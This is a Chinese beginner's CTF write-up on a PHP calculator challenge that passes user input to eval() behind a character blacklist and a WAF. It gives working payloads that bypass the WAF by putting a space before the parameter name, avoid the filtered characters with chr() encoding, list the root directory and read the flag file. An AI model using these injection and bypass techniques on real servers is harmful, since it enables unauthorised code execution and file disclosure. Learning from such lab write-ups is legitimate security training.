本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助

打开靶机,是一个有简单计算功能的网站

看看是不是注入点,

被过滤了,
查看源码,这里他提示建了WAF保障安全

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<script>
$('#calc').submit(function(){ //当 ID 为 calc 的表单提交时,触发回调函数
$.ajax({
url:"calc.php?num="+encodeURIComponent($("#content").val()), //使用GET方法向calc.php发送请求
type:'GET',
success:function(data){ //成功是:在 ID 为 result 的元素中显示 Bootstrap 样式的成功提示框,包含服务器返回的数据
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${data}
</div>`);
},
error:function(){ //错误时:弹出简单提示框显示错误信息
alert("这啥?算不来!");
}
})
return false; //return false 阻止表单的默认提交行为(页面刷新)
})
</script>

总结来说:这段代码是一个 jQuery 脚本,用于处理一个 ID 为 calc 的表单提交事件,通过 AJAX 向服务器发送计算请求并显示结果。
主要知道他是使用GET方法向calc.php发送请求就可以了
跳转到calc.php文件页面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if(!isset($_GET['num'])){ //无num参数时:显示源码(show_source(__FILE__))
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];//定义黑名单过滤特殊字符
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) { //使用正则表达式检查输入中是否包含黑名单字符
die("what are you want to do?");
}
}
eval('echo '.$str.';'); //使用 eval() 函数直接执行用户输入的php动态代码(如计算式1+1,可以通过这里执行命令代码),执行结果通过 echo 输出
}
?>

尝试获得PHP配置信息,

1
calc.php/?num=phpinfo()


这里没有显示上面代码过滤的报错what are you want to do?,所以这里是被WAF拦截了

1
calc.php/? num=phpinfo()     

num前面加个空格 num,WAF会认为是空格num而不是num,而且在绕过WAf后进行php解析会将空格去掉


这里发现system函数被禁用,使用scandir()函数
scandir() 函数用于获取指定目录中的文件和文件夹列表。它接受一个路径作为参数,并返回一个包含指定目录中所有文件和文件夹的数组
scandir(“.”) 表示获取当前目录下的文件列表
scandir(“/“) 表示获取根目录下的文件列表
因为’.’,’/‘被过滤,可以使用ASCLL码值进行绕过

1
calc.php/? num=var_dump(scandir(chr(47)))

var_dump 函数用于输出变量的相关信息,这里它将输出 scandir(‘/‘) 的结果

找到flagg文件
file_get_contents 是PHP用于读取文件内容的函数,它接收一个文件路径作为参数,会把整个文件的内容读入到一个字符串中并返回

1
calc.php/? num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))(/flagg)

获得flag